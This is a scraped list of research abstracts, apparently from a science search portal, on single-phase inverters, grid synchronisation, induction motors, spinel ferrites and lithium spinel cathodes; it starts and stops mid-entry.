filter for grid-tied voltage-source inverters, named the LLCL filter, which inserts a small inductor in the branch loop of the capacitor in the traditional LCL filter to compose a series resonant circuit at the switching frequency...... to the inverter system control. The parameter design criteria of the proposed LLCL filter is also introduced. The comparative analysis and discussions regarding the traditional LCL filter and the proposed LLCL filter have been presented and evaluated through experiment on a 1.8-kW-single-phase grid-tied inverter... 20. A MPPT Algorithm Based PV System Connected to Single Phase Voltage Controlled Grid Science.gov (United States) Sreekanth, G.; Narender Reddy, N.; Durga Prasad, A.; Nagendrababu, V. 2012-10-01 Future ancillary services provided by photovoltaic (PV) systems could facilitate their penetration in power systems. In addition, low-power PV systems can be designed to improve the power quality. This paper presents a single-phase PV systemthat provides grid voltage support and compensation of harmonic distortion at the point of common coupling thanks to a repetitive controller. The power provided by the PV panels is controlled by a Maximum Power Point Tracking algorithm based on the incremental conductance method specifically modified to control the phase of the PV inverter voltage. Simulation and experimental results validate the presented solution. 1. A control strategy for induction motors fed from single phase supply DEFF Research Database (Denmark) Søndergård, Lars Møller 1993-01-01 It is often required that a three-phased asynchronous motor can run at variable speed, which makes it necessary to use a three-phase inverter driven from a DC-source. Today, most inverters are driven from the network using a simple diode bridge and an electrolytic capacitor. The problem...... with the simple diode bridge and the electrolytic capacitor is that current is only drawn for short periods, which gives rise to harmonic currents in the network. For small drive systems (motor+inverter), i.e. less than 1.5 kW, a single phase network outlet is often used. The author describes a method whereby... 2. Novel Position and Speed Estimator for PM Single Phase Brushless D.C. Motor Drives DEFF Research Database (Denmark) Lepure, Liviu I.; Andreescu, Gheorghe-Daniel; Iles, Doris 2010-01-01 A novel position and speed estimator for single phase permanent magnet brushless d.c. (PMBLDC) motor drives, based on flux integration and prior knowledge of ΨPM (θ) is proposed here and an adequate correction algorithm is adopted in order to increase the robustness to noise and to reduce...... the sensitivity to accuracy of flux linkage estimation. A speed and current close loop control is employed based on the Hall signal and the motor is controlled at different speeds in order to validate the proposed estimation algorithm with satisfying results. The position correction effect is analyzed... 3. Single Phase Transformer-less Buck-Boost Inverter with Zero Leakage Current for PV Systems DEFF Research Database (Denmark) Mostaan, Ali; Abdelhakim, Ahmed; N. Soltani, Mohsen 2017-01-01 In this paper, a novel single-stage single-phase transformer-less buck-boost inverter is proposed, in which a reduced number of passive components is used. The proposed inverter combines the conventional buck, boost, and buck-boost converters in one converter in order to obtain a sinusoidal output...... voltage. In the proposed inverter, the input DC source and the load or grid have the same ground. Therefore, the leakage current problem in photovoltaic (PV) systems is eliminated. Furthermore, the proposed inverter supports the bi-directional power flow capability and it can inject reactive power... 4. Single phase and two-phase flow pressure losses through restrictions, expansions and inserts International Nuclear Information System (INIS) Glenat, P.; Solignac, P. 1984-11-01 We give a selection of methods to predict pressure losses through retrictions, expansions and inserts. In single phase flow, we give the classical method based on the one-dimensional momentum and mass balances. In two-phase flow, we propose the method given by Harshe et al. and an empirical approach suggested by Chisholm. We notice the distinction between long and short inserts depends upon wether or not the vena contracta lies within insert. Finally, we propose three correlations to calculate void fraction through the singularities which have been considered [fr 5. Reaction kinetics of oxygen on single-phase alloys, oxidation of nickel and niobium alloys International Nuclear Information System (INIS) Lalauze, Rene 1973-01-01 This research thesis first addresses the reaction kinetics of oxygen on alloys. It presents some generalities on heterogeneous reactions (conventional theory, theory of jumps), discusses the core reaction (with the influence of pressure), discusses the influence of metal self-diffusion on metal oxidation kinetics (equilibrium conditions at the interface, hybrid diffusion regime), reports the application of the hybrid diffusion model to the study of selective oxidation of alloys (Wagner model, hybrid diffusion model) and the study of the oxidation kinetics of an alloy forming a solid solution of two oxides. The second part reports the investigation of the oxidation of single phase nickel and niobium alloys (phase α, β and γ) 6. A low capacitance single-phase AC-DC converter with inherent power ripple decoupling OpenAIRE Gottardo, Davide; De Lillo, Liliana; Empringham, Lee; Costabeber, Alessando 2016-01-01 This paper proposes a new single-phase AC-DC conversion topology with inherent power ripple decoupling, based on the combination of a PWM H-bridge inverter, an AC side LC filter and a ZVS line commutated H-bridge. A capacitor on the AC side is used as power decoupling element. By appropriate selection of the capacitor voltage, the power ripple at twice the AC frequency can be cancelled from the DC side instantaneous power, achieving negligible DC voltage ripple using a smaller total capacitan... 7. Dynamics Assessment of Grid-Synchronization Algorithms for Single-Phase Grid-Connected Converters DEFF Research Database (Denmark) Han, Yang; Luo, Mingyu; Guerrero, Josep M. 2015-01-01 and low computational burden. Meanwhile, some other techniques have been proposed to enhance system robustness and stability characteristics. In this paper, a comprehensive comparison among the OSG-based PLLs and the advanced single-phase PLLs is presented when the grid voltage undergoes disturbances......, and the performance comparison of transient response and disturbance rejection capabilities are presented. Finally, the moving average filter (MAF) is applied to enhance steady state and dynamic response of the delayed-type PLL, derivator-based PLL and the complex-coefficient filter (CCF-PLL) under grid frequency... 8. Dispersed single-phase-step Michelson interferometer for Doppler imaging using sunlight. Science.gov (United States) Wan, Xiaoke; Ge, Jian 2012-09-15 A Michelson interferometer is dispersed with a fiber array-fed spectrograph, providing 59 Doppler sensing channels using sunlight in the 510-570 nm wavelength region. The interferometer operates at a single-phase-step mode, which is particularly advantageous in multiplexing and data processing compared to the phase-stepping mode of other interferometer spectrometer instruments. Spectral templates are prepared using a standard solar spectrum and simulated interferometer modulations, such that the correlation function with a measured 1D spectrum determines the Doppler shift. Doppler imaging of a rotating cylinder is demonstrated. The average Doppler sensitivity is ~12 m/s, with some channels reaching ~5 m/s. 9. Nanocrystalline spinel ferrites by solid state reaction route Wintec Nanocrystalline spinel ferrites by solid state reaction route. T K KUNDU* and S MISHRA. Department of Physics, Visva-Bharati, Santiniketan 731 235, India. Abstract. Nanostructured NiFe2O4, MnFe2O4 and (NiZn)Fe2O4 were synthesized by aliovalent ion doping using conventional solid-state reaction route. With the ... 10. Identification of Spinel Iron Oxide Nanoparticles by 57Fe NMR Directory of Open Access Journals (Sweden) SangGap Lee 2011-12-01 Full Text Available We have synthesized and studied monodisperse iron oxide nanoparticles of smaller than 10 nm to identify between the two spinel phases, magnetite and maghemite. It is shown that 57Fe NMR spectroscopy is a promising tool for distinguishing between the two phases. 11. Development and characterization of nickel–zinc spinel ferrite for ... This paper deals with the development and characterization of nickel–zinc spinel ferrite (Ni(1–) ZnFe2O4) for microwave absorption at 2.4 GHz (ISM band). The ferrite powder was prepared by dry attrition and sintering process. Complex permittivity and permeability of the prepared sample have been determined by ... 12. Development and characterization of nickel–zinc spinel ferrite for ... Wintec Development and characterization of nickel–zinc spinel ferrite. 769. Figure 6. (a) Imaginary (εr) vs frequency, (b) real (εr) vs frequency, (c) \|εr\| vs frequency, (d) imaginary (μr) vs frequency, (e) real (μr) vs frequency and (f) \|μr\| vs frequency. Table 1. Ferrimagnetic resonance fre- quency for various values of δ. δ. Measured fr ... 13. How Rich is Rich? Placing Constraints on the Abundance of Spinel in the Pink Spinel Anorthosite Lithology on the Moon Through Space Weathering Science.gov (United States) Gross, J.; Gillis-Davis, J.; Isaacson, P. J.; Le, L. 2015-01-01 previously unknown lunar rock was recently recognized in the Moon Mineralogy Mapper (M(sup 3)) visible to near-infrared (VNIR) reflectance spectra. The rock type is rich in Mg-Al spinel (approximately 30%) and plagioclase and contains less than 5% mafic silicate minerals (olivine and pyroxene). The identification of this pink spinel anorthosite (PSA) at the Moscoviense basin has sparked new interest in lunar spinel. Pieters et al. suggested that these PSA deposits might be an important component of the lunar crust. However, Mg-Al spinel is rare in the Apollo and meteorite sample collections (only up to a few wt%), and occurs mostly in troctolites and troctolitic cataclastites. In this study, we are conducting a series of experiments (petrologic and space weathering) to investigate whether deposits of spinel identified by remote sensing are in high concentration (e.g. 30%) or whether the concentrations of spinel in these deposits are more like lunar samples, which contain only a few wt%. To examine the possibility of an impact-melt origin for PSA, conducted 1-bar crystallization experiments on rock compositions similar to pink spinel troctolite 65785. The VNIR spectral reflectance analyses of the low-temperature experiments yield absorption features similar to those of the PSA lithology detected at Moscoviense Basin. The experimental run products at these temperatures contain approximately 5 wt% spinel, which suggests that the spinel-rich deposits detected by M(sup 3) might not be as spinel-rich as previously thought. However, the effect of space weathering on spinel is unknown and could significantly alter its spectral properties including potential weakening of its diagnostic 2-micrometers absorption feature. Thus, weathered lunar rocks could contain more spinel than a comparison with the unweathered experimental charges would suggest. In this study, we have initiated space weathering experiments on 1) pure pink spinel, 2) spinel-anorthite mixtures, and 3) the low 14. Novel Family of Single-Phase Modified Impedance-Source Buck-Boost Multilevel Inverters with Reduced Switch Count DEFF Research Database (Denmark) Husev, Oleksandr; Strzelecki, Ryszard; Blaabjerg, Frede 2016-01-01 This paper describes novel single-phase solutions with increased inverter voltage levels derived by means of a nonstandard inverter configuration and impedance source networks. Operation principles based on special modulation techniques are presented. Detailed component design guidelines along wi... 15. A Nonadaptive Window-Based PLL for Single-Phase Applications DEFF Research Database (Denmark) Golestan, Saeed; Guerrero, Josep M.; Quintero, Juan Carlos Vasquez 2018-01-01 The rectangular window filter, typically known as the moving average filter (MAF), is a quasi-ideal low-pass filter that has found wide application in designing advanced single-phase phase-locked loops (PLLs). Most often, the MAF is employed as an in-loop filter within the control loop of the sin......The rectangular window filter, typically known as the moving average filter (MAF), is a quasi-ideal low-pass filter that has found wide application in designing advanced single-phase phase-locked loops (PLLs). Most often, the MAF is employed as an in-loop filter within the control loop...... response is avoided. Nevertheless, the PLL implementation complexity considerably increases as MAFs are frequency-adaptive and, therefore, they require an additional frequency detector for estimating the grid frequency. To reduce the implementation complexity while maintaining a good performance, using...... a nonadaptive MAF-based QSG with some error compensators is suggested in this letter. The effectiveness of the resultant PLL, which is briefly called the nonadaptive MAF-based PLL, is verified using experimental results.... 16. A note on similarity in single-phase and porous-medium natural convection International Nuclear Information System (INIS) Lyall, H.G. 1981-03-01 The similarity laws for single-phase and porous-medium natural convection are developed. For single-phase flow Nu = Nu(Ra) implies that inertial effects are negligible, while Nu = Nu(Ra.Pr) implies that viscous effects are. The first correlation is adequate for Pr>10, while the second applies for Pr<0.01. For intermediate values of Pr, a more general correlation, Nu = Nu(Ra,Pr) is necessary. For a porous-medium, if inertial effects and dispersion are negligible, Nu* = Nu(Ra). However dispersion will only be negligible if the ratio of grain size d to the width of the region L is very small (d/L<< l). If this condition does not hold it is necessary to model d/L. If inertial effects are significant, i.e. the Reynolds number is too large for Darcy's law to apply, a group containing the effective Prandtl number, Pr, also needs to be modelled for similarity. (author) 17. Ion beam induced single phase nanocrystalline TiO{sub 2} formation Energy Technology Data Exchange (ETDEWEB) Rukade, Deepti A. [Department of Physics, University of Mumbai, Mumbai 400098 (India); Tribedi, L.C. [Tata Institute of Fundamental Research, Homi Bhabha Road, Colaba, Mumbai 400005 (India); Bhattacharyya, Varsha, E-mail: [email protected] [Department of Physics, University of Mumbai, Mumbai 400098 (India) 2014-06-15 Single phase TiO{sub 2} nanostructures are fabricated by oxygen ion implantation (60 keV) at fluence ranging from 1×10{sup 16} ions/cm{sup 2} to 1×10{sup 17} ions/cm{sup 2} in titanium thin films deposited on fused silica substrate and subsequent thermal annealing in argon atmosphere. GAXRD and Raman spectroscopy study reveals formation of single rutile phases of TiO{sub 2}. Particle size is found to vary from 29 nm to 35 nm, establishing nanostructure formation. Nanostructure formation is also confirmed by the quantum confinement effect manifested by the blueshift of the UV–vis absorption spectra. Photoluminescence spectra show peaks corresponding to TiO{sub 2} rutile phase and reveal the presence of oxygen defects due to implantation. The controlled synthesis of single phase nanostructure is attributed to ion induced defects and post-implantation annealing. It is observed that the size of the nanostructures formed is strongly dependent on the ion fluence. 18. FUZZY LOGIC BASED OPTIMIZATION OF CAPACITOR VALUE FOR SINGLE PHASE OPEN WELL SUBMERSIBLE INDUCTION MOTOR Directory of Open Access Journals (Sweden) R. Subramanian 2011-01-01 Full Text Available Purpose – The aim of this paper is to optimize the capacitor value of a single phase open well submersible motor operating under extreme voltage conditions using fuzzy logic optimization technique and compared with no-load volt-ampere method. This is done by keeping the displacement angle (a between main winding and auxiliary winding near 90o, phase angle (f between the supply voltage and line current near 0o. The optimization work is carried out by using Fuzzy Logic Toolbox software built on the MATLAB technical computing environment with Simulink software. Findings – The optimum capacitor value obtained is used with a motor and tested for different supply voltage conditions. The vector diagrams obtained from the experimental test results indicates that the performance is improved from the existing value. Originality/value – This method will be highly useful for the practicing design engineers in selecting the optimum capacitance value for single phase induction motors to achieve the best performance for operating at extreme supply voltage conditions. 19. MECHANICAL CHARACTERISTICS OF THREE-PHASE INDUCTION MOTORS WITH SINGLE-PHASE POWER SUPPLY Directory of Open Access Journals (Sweden) V.S. Malyar 2016-06-01 Full Text Available Aim. Development of a method for calculating mechanical characteristics of three-phase induction motors with single-phase power supply. Methods. The developed algorithm is based on the high-adequacy mathematical model of motor and projection method for solving the boundary problem for equations of electrical circuits balance presented in the three-phase coordinate system. As a result of asymmetry of power supply to the stator windings, in steady state, flux-linkage and current change according to the periodic law. They are determined by solving the boundary problem. Results. The developed mathematical model allows determining periodic dependence of coordinates as a function of slip and, based on them, mechanical characteristics of motors. Academic novelty. The developed method relies on a completely new mathematical approach to calculation of stationary modes of nonlinear electromagnetic circuits, which allows obtaining periodic solution in a timeless domain. Practical value. Using the developed calculation algorithm, one can select capacitance required to start an induction motor with single-phase power supply and calculate static mechanical characteristics at a given capacitance. 20. Experimental study of single-phase pressure drops in coarse particle beds Energy Technology Data Exchange (ETDEWEB) Clavier, R., E-mail: [email protected] [IRSN Cadarache, Saint Paul-lez-Durance (France); Chikhi, N., E-mail: [email protected] [IRSN Cadarache, Saint Paul-lez-Durance (France); Fichot, F., E-mail: [email protected] [IRSN Cadarache, Saint Paul-lez-Durance (France); Quintard, M., E-mail: [email protected] [Université de Toulouse, Allée Camille Soula, F-31400 Toulouse (France); INPT, UPS, Allée Camille Soula, F-31400 Toulouse (France); IMFT (Institut de Mécanique des Fluides de Toulouse), Allée Camille Soula, F-31400 Toulouse (France); CNRS, F-31400 Toulouse (France) 2017-02-15 Motivated by uncertainty reduction in nuclear debris beds coolability, experiments have been conducted on the CALIDE facility in order to investigate single-phase pressure losses in representative debris beds, i.e., high sphericity (>80%) particle beds with small size dispersion (from 1 mm to 10 mm), for which no validated model exists. In this paper, experimental results are presented and analyzed in order to identify a simple correlation for single-phase flow pressure losses generated in this kind of porous media in reflooding flowing conditions, which cover Darcy to weakly turbulent regimes. In the literature, it has been observed that their behavior can be accurately described by a Darcy–Forchheimer law, involving the sum of a linear term and a quadratic non-linear deviation, with respect to the filtration velocity. Expressions for the coefficients of the linear and quadratic terms are determined by assessing the possibility to evaluate equivalent diameters, i.e., characteristic lengths allowing correct predictions of the linear and quadratic terms by the Ergun equation. It has been observed that the Sauter diameter of particles allows a very precise prediction of the linear term, while the quadratic term can be predicted using the product of the Sauter diameter and a sphericity coefficient as an equivalent diameter. 1. Numerical investigation of refrigeration machine compressor operation considering single-phase electric motor dynamic characteristics Science.gov (United States) Baidak, Y.; Smyk, V. 2017-08-01 Using as the base the differential equations system which was presented in relative units for generalized electric motor of hermetic refrigeration compressor, mathematical model of the software for dynamic performance calculation of refrigeration machine compressors drive low-power asynchronous motors was developed. Performed on its ground calculations of the basic model of two-phase electric motor drive of hermetic compressor and the proposed newly developed model of the motor with single-phase stator winding, which is an alternative to the industrial motor winding, have confirmed the benefits of the motor with innovative stator winding over the base engine. Given calculations of the dynamic characteristics of compressor drive motor have permitted to determine the value of electromagnetic torque swinging for coordinating compressor and motor mechanical characteristics, and for taking them into consideration in choosing compressor elements construction materials. Developed and used in the process of investigation of refrigeration compressor drive asynchronous single-phase motor mathematical and software can be considered as an element of computer-aided design system for design of the aggregate of refrigeration compression unit refrigerating machine. 2. Validation of CATHENA MOD-3.5/Rev0 for single-phase water hammer International Nuclear Information System (INIS) Beuthe, T.G. 2000-01-01 This paper describes work performed to validate the system thermalhydraulics code CATHENA MOD-3.5c/Rev0 for single-phase water hammer. Simulations were performed and are compared quantitatively against numerical tests and experimental results from the Seven Sisters Water Hammer Facility to demonstrate CATHENA can predict the creation and propagation of pressure waves when valves are opened and closed. Simulations were also performed to show CATHENA can model the behaviour of reflected and transmitted pressure waves at area changes, dead ends, tanks, boundary conditions, and orifices in simple and more complex piping systems. The CATHENA results are shown to calculate pressure and wave propagation speeds to within 0.2% and 0.5% respectively for numerical tests and within 3.3% and 5% for experimental results respectively. These results are used to help validate CATHENA for use in single-phase water hammer analysis. They also provide assurance that the fundamental parameters needed to successfully model more complex forms of water hammer are accounted for in the MOD-3.5c/Rev0 version of CATHENA, and represent the first step in the process to validate the code for use in modelling two-phase water hammer and condensation-induced water hammer. (author) 3. Synthesis and characterization of Li{sub 2}ZnTi{sub 3}O{sub 8} spinel using the modified polymeric precursor method Energy Technology Data Exchange (ETDEWEB) Camara, M.S.C.; Lisboa-Filho, P.N.; Cabrelon, M.D.; Gama, L.; Ortiz, W.A.; Paiva-Santos, C.O.; Leite, E.R.; Longo, E 2003-09-28 In this work we report the synthesis procedure, crystallographic, structural and magnetic properties of the Li{sub 2}ZnTi{sub 3}O{sub 8} spinel obtained using a modified polymeric precursor method. This synthesis method generates very reactive and property-controlled nanoparticles. The samples were characterized using X-ray powder diffraction (XRD) associated to the Rietveld refinement method, thermogravimetric analysis (TG), specific surface area, scanning electron microscopy (SEM) and magnetic susceptibility measurements. The phase formation temperature of the lithium zinc titanate spinel was observed to decrease due to the homogeneity and highly controlled nanometric particle size. 4. Magnetic and catalytic properties of inverse spinel CuFe{sub 2}O{sub 4} nanoparticles Energy Technology Data Exchange (ETDEWEB) Anandan, S., E-mail: [email protected] [Nanomaterials and Solar Energy Conversion Lab, Department of Chemistry, National Institute of Technology, Trichy 620 015 (India); Department of Environmental Engineering and Science, Feng Chia University, Taichung 407, Taiwan (China); Selvamani, T.; Prasad, G. Guru [Nanomaterials and Solar Energy Conversion Lab, Department of Chemistry, National Institute of Technology, Trichy 620 015 (India); Asiri, A.M. [The Center of Excellence for Advanced Materials Research, King Abdulaziz University, P.O. Box 80203, Jeddah 21413 (Saudi Arabia); Wu, J.J., E-mail: [email protected] [Department of Environmental Engineering and Science, Feng Chia University, Taichung 407, Taiwan (China) 2017-06-15 Highlights: • Copper ferrite (CuFe{sub 2}O{sub 4}) nanoparticles were synthesized via citrate-nitrate combustion method. • Spectroscopic information’s have found that CuFe{sub 2}O{sub 4} nanoparticles as an inverse spinel structure. • Magnetic study exhibits CuFe{sub 2}O{sub 4} nanoparticles have ferromagnetic behavior. • CuFe{sub 2}O{sub 4} nanoparticles employed for photocatalytic decolourisation of methylene blue under visible light irradiation. - Abstract: In this research, inverse spinel copper ferrite nanoparticles (CuFe{sub 2}O{sub 4} NPs) were synthesized via citrate-nitrate combustion method. The crystal structure, particle size, morphology and magnetic studies were investigated using various instrumental tools to illustrate the formation of the inverse spinel structure. Mossbauer spectrometry identified Fe is located both in the tetrahedral and octahedral site in the ratio (40:60) and the observed magnetic parameters values such as saturation magnetization (M{sub s} = 20.62 emu g{sup −1}), remnant magnetization (M{sub r} = 11.66 emu g{sup −1}) and coercivity (H{sub c} = 63.1 mTesla) revealed that the synthesized CuFe{sub 2}O{sub 4} NPs have a typical ferromagnetic behaviour. Also tested CuFe{sub 2}O{sub 4} nanoparticles as a photocatalyst for the decolourisation of methylene blue (MB) in the presence of peroxydisulphate as the oxidant. 5. LVRT Capability of Single-Phase Grid-Connected HERIC Inverter in PV Systems by a Look-up Table Based Predictive Control DEFF Research Database (Denmark) 2017-01-01 , nowadays these systems should have Low Voltage Ride-Through (LVRT) capability. The PV system should stay connected to the grid at fault time and help to recover the grid voltage by injecting the reactive power like in a power plant or a custom power device. There are two important factors for single phase...... grid connected PV inverters. The first one is the structure of the inverter and the second one is the control part. In this regard, the HERIC inverter can be a good selection among the transformerless inverters for a PV system due to its high efficiency. For the control part, this paper presents a look... 6. Experimental and ab initio investigations on textured Li–Mn–O spinel thin film cathodes Energy Technology Data Exchange (ETDEWEB) Fischer, J., E-mail: [email protected] [Karlsruhe Institute of Technology (KIT), Institute for Applied Materials (IAM), Hermann-von-Helmholtz-Platz 1, 76344 Eggenstein-Leopoldshafen (Germany); Music, D. [RWTH Aachen University, Materials Chemistry, Kopernikusstrasse 10, 52074 Aachen (Germany); Bergfeldt, T.; Ziebert, C.; Ulrich, S.; Seifert, H.J. [Karlsruhe Institute of Technology (KIT), Institute for Applied Materials (IAM), Hermann-von-Helmholtz-Platz 1, 76344 Eggenstein-Leopoldshafen (Germany) 2014-12-01 This paper describes the tailored preparation of nearly identical lithium–manganese–oxide thin film cathodes with different global grain orientations. The thin films were synthesized by rf magnetron sputtering from a LiMn{sub 2}O{sub 4}-target in a pure argon plasma. Under appropriate processing conditions, thin films with a cubic spinel structure and a nearly similar density and surface topography but different grain orientation, i.e. (111)- and (440)-textured films, were achieved. The chemical composition was determined by inductively coupled plasma optical emission spectroscopy and carrier gas hot extraction. The constitution- and microstructure were evaluated by X-ray diffraction and Raman spectroscopy. The surface morphology and roughness were investigated by scanning electron and atomic force microscopy. The differently textured films represent an ideal model system for studying potential effects of grain orientation on the lithium ion diffusion and electrochemical behavior in LiMn{sub 2}O{sub 4}-based thin films. They are nearly identical in their chemical composition, atomic bonding behavior, surface-roughness, morphology and thickness. Our initial ab initio molecular dynamics data indicate that Li ion transport is faster in (111)-textured structure than in (440)-textured one. - Highlights: • Thin film model system of differently textured cubic Li–Mn–O spinels. • Investigation of the Li–Mn–O thin film mass density by X-ray reflectivity. • Ab initio molecular dynamics simulation on Li ion diffusion in LiMn{sub 2}O{sub 4}. 7. Experimental and ab initio investigations on textured Li–Mn–O spinel thin film cathodes International Nuclear Information System (INIS) Fischer, J.; Music, D.; Bergfeldt, T.; Ziebert, C.; Ulrich, S.; Seifert, H.J. 2014-01-01 This paper describes the tailored preparation of nearly identical lithium–manganese–oxide thin film cathodes with different global grain orientations. The thin films were synthesized by rf magnetron sputtering from a LiMn 2 O 4 -target in a pure argon plasma. Under appropriate processing conditions, thin films with a cubic spinel structure and a nearly similar density and surface topography but different grain orientation, i.e. (111)- and (440)-textured films, were achieved. The chemical composition was determined by inductively coupled plasma optical emission spectroscopy and carrier gas hot extraction. The constitution- and microstructure were evaluated by X-ray diffraction and Raman spectroscopy. The surface morphology and roughness were investigated by scanning electron and atomic force microscopy. The differently textured films represent an ideal model system for studying potential effects of grain orientation on the lithium ion diffusion and electrochemical behavior in LiMn 2 O 4 -based thin films. They are nearly identical in their chemical composition, atomic bonding behavior, surface-roughness, morphology and thickness. Our initial ab initio molecular dynamics data indicate that Li ion transport is faster in (111)-textured structure than in (440)-textured one. - Highlights: • Thin film model system of differently textured cubic Li–Mn–O spinels. • Investigation of the Li–Mn–O thin film mass density by X-ray reflectivity. • Ab initio molecular dynamics simulation on Li ion diffusion in LiMn 2 O 4 8. Preparation of composite with silica-coated nanoparticles of iron oxide spinels for applications based on magnetically induced hyperthermia Energy Technology Data Exchange (ETDEWEB) Andrade, Angela L. [Federal University of Ouro Preto (UFOP), Department of Chemistry (Brazil); Fabris, Jose D., E-mail: [email protected] [Federal University of Jequitinhonha and Mucuri Valleys (UFVJM) (Brazil); Pereira, Marcio C. [Federal University of Jequitinhonha and Mucuri Valleys (UFVJM), Institute of Science, Engineering and Technology (Brazil); Domingues, Rosana Z. [Federal University of Minas Gerais (UFMG), Department of Chemistry (Brazil); Ardisson, Jose D. [Development Center of Nuclear Technology (CNEN/CDTN), Laboratory of Applied Physics (Brazil) 2013-04-15 It is reported a novel method to prepare magnetic core (iron oxide spinels)-shell (silica) composites containing well-dispersed magnetic nanoparticles in aqueous solution. The synthetic process consists of two steps. In a first step, iron oxide nanoparticles obtained through co-precipitation are dispersed in an aqueous solution containing tetramethylammonium hydroxide; in a second step, particles of this sample are coated with silica, through hydrolyzation of tetraethyl orthosilicate. The intrinsic atomic structure and essential properties of the core-shell system were assessed with powder X-ray diffraction, Fourier transform infrared spectrometry, Moessbauer spectroscopy and transmission electron microscopy. The heat released by this ferrofluid under an AC-generated magnetic field was evaluated by following the temperature evolution under increasing magnetic field strengths. Results strongly indicate that this ferrofluid based on silica-coated iron oxide spinels is technologically a very promising material to be used in medical practices, in oncology. 9. Characterization of Li4Ti5O12 and LiMn2O4 spinel materials treated with aqueous acidic solutions NARCIS (Netherlands) Simon, D.R. 2007-01-01 In this thesis an investigation of two spinel materials, Li4Ti5O12 and LiMn2O4 used for Li-ion battery applications is performed interms of formation and reactivity towards acidic solutions. Subsequent characterizations such as structural, magnetic, chemical, and electrochemical characterizations 10. Design comparison of single phase outer and inner-rotor hybrid excitation flux switching motor for hybrid electric vehicles Science.gov (United States) Mazlan, Mohamed Mubin Aizat; Sulaiman, Erwan; Husin, Zhafir Aizat; Othman, Syed Muhammad Naufal Syed; Khan, Faisal 2015-05-01 In hybrid excitation machines (HEMs), there are two main flux sources which are permanent magnet (PM) and field excitation coil (FEC). These HEMs have better features when compared with the interior permanent magnet synchronous machines (IPMSM) used in conventional hybrid electric vehicles (HEVs). Since all flux sources including PM, FEC and armature coils are located on the stator core, the rotor becomes a single piece structure similar with switch reluctance machine (SRM). The combined flux generated by PM and FEC established more excitation fluxes that are required to produce much higher torque of the motor. In addition, variable DC FEC can control the flux capabilities of the motor, thus the machine can be applied for high-speed motor drive system. In this paper, the comparisons of single-phase 8S-4P outer and inner rotor hybrid excitation flux switching machine (HEFSM) are presented. Initially, design procedures of the HEFSM including parts drawing, materials and conditions setting, and properties setting are explained. Flux comparisons analysis is performed to investigate the flux capabilities at various current densities. Then the flux linkages of PM with DC FEC of various DC FEC current densities are examined. Finally torque performances are analyzed at various armature and FEC current densities for both designs. As a result, the outer-rotor HEFSM has higher flux linkage of PM with DC FEC and higher average torque of approximately 10% when compared with inner-rotor HEFSM. 11. A DAB Converter with Common-Point-Connected Winding Transformers Suitable for a Single-Phase 5-Level SST System Directory of Open Access Journals (Sweden) Hyeok-Jin Yun 2018-04-01 Full Text Available One of the main disadvantages of the multi-level solid-state transformer (SST system is the voltage imbalance on the output of the rectifier modules. This voltage imbalance can be caused by parameter mismatch of the active and passive components, different loads, and the floating structure of the high voltage DC-links. Some studies have been done to solve this voltage imbalance problem. A common way to avoid this imbalance is to balance the voltage of DC-links at the AC/DC conversion stage and balance the power between the modules at the DC/DC conversion stage. Most of these methods require a complex balancing controller or additional circuits. This paper proposes a novel dual active bridge (DAB converter specialized in power balancing in a single-phase 5-level SST system. The proposed DAB converter does not require any additional balancing controllers or techniques for power balancing. The performance of the proposed DAB converter was verified by simulation and experiments using a 3 kW 5-level SST prototype system. 12. A Current-Forced Line-Commutated Inverter for Single-Phase Grid-Connected Photovoltaic Generation Systems Directory of Open Access Journals (Sweden) UNLU, M. 2015-05-01 Full Text Available A simple power electronic interface based on the line-commutated inverter (LCI has been developed in order to inject sinusoidal current to the grid for single-phase grid-connected photovoltaic (PV energy generation systems. The proposed inverter facilitates controlling the injecting/grid current with a controllable power factor in contrast to the conventional LCI system. It is achieved that the total harmonic distortion (THD of the injecting currents for the different firing angles/power factors and reference currents is about 5% or less than 5%. Thus, the grid-connected standards for injecting current are satisfied without filter equipment unlike the conventional LCI system. The proposed system has been built in MATLAB/Simulink and examined experimentally on PV array of 160 W. The simulation and experimental results are better performance than the conventional line-commutated inverter methods reported in the literature. The proposed LCI has a simple and robust structure, and it can be easily synchronized with grid thanks to self-latching property of SCRs. Therefore, it is a good alternative for the power transferring from PV panels to the utility grid in grid-connected PV systems. 13. High efficiency H6 single-phase transformerless grid-tied PV inverter with proposed modulation for reactive power generation Science.gov (United States) 2017-08-01 Implementation of transformerless inverters in PV grid-tied system offer great benefits such as high efficiency, light weight, low cost, etc. Most of the proposed transformerless inverters in literature are verified for only real power application. Currently, international standards such as VDE-AR-N 4105 has demanded that PV grid-tied inverters should have the ability of controlling a specific amount of reactive power. Generation of reactive power cannot be accomplished in single phase transformerless inverter topologies because the existing modulation techniques are not adopted for a freewheeling path in the negative power region. This paper enhances a previous high efficiency proposed H6 trnasformerless inverter with SiC MOSFETs and demonstrates new operating modes for the generation of reactive power. A proposed pulse width modulation (PWM) technique is applied to achieve bidirectional current flow through freewheeling state. A comparison of the proposed H6 transformerless inverter using SiC MOSFETs and Si MOSFTEs is presented in terms of power losses and efficiency. The results show that reactive power control is attained without adding any additional active devices or modification to the inverter structure. Also, the proposed modulation maintains a constant common mode voltage (CM) during every operating mode and has low leakage current. The performance of the proposed system verifies its effectiveness in the next generation PV system. 14. Enhancement of Electrochemical Performance of LiMn2O4 Spinel Cathode Material by Synergetic Substitution with Ni and S Directory of Open Access Journals (Sweden) Monika Bakierska 2016-05-01 Full Text Available Nickel and sulfur doped lithium manganese spinels with a nominal composition of LiMn2−xNixO4–ySy (0.1 ≤ x ≤ 0.5 and y = 0.01 were synthesized by a xerogel-type sol-gel method followed by subsequent calcinations at 300 and 650 °C in air. The samples were investigated in terms of physicochemical properties using X-ray powder diffraction (XRD, transmission electron microscopy (EDS-TEM, N2 adsorption-desorption measurements (N2-BET, differential scanning calorimetry (DSC, and electrical conductivity studies (EC. Electrochemical characteristics of Li/Li+/LiMn2−xNixO4–ySy cells were examined by galvanostatic charge/discharge tests (CELL TEST, electrochemical impedance spectroscopy (EIS, and cyclic voltammetry (CV. The XRD showed that for samples calcined at 650 °C containing 0.1 and 0.2 mole of Ni single phase materials of Fd-3m group symmetry and nanoparticles size of around 50 nm were obtained. The energy dispersive X-ray spectroscopy (EDS mapping confirmed homogenous distribution of nickel and sulfur in the obtained spinel materials. Moreover, it was revealed that the adverse phase transition at around room temperature typical for the stoichiometric spinel was successfully suppressed by Ni and S substitution. Electrochemical results indicated that slight substitution of nickel (x = 0.1 and sulfur (y = 0.01 in the LiMn2O4 enhances the electrochemical performance along with the rate capability and capacity retention. 15. Energetics analysis of interstitial loops in single-phase concentrated solid-solution alloys Science.gov (United States) Wang, Xin-Xin; Niu, 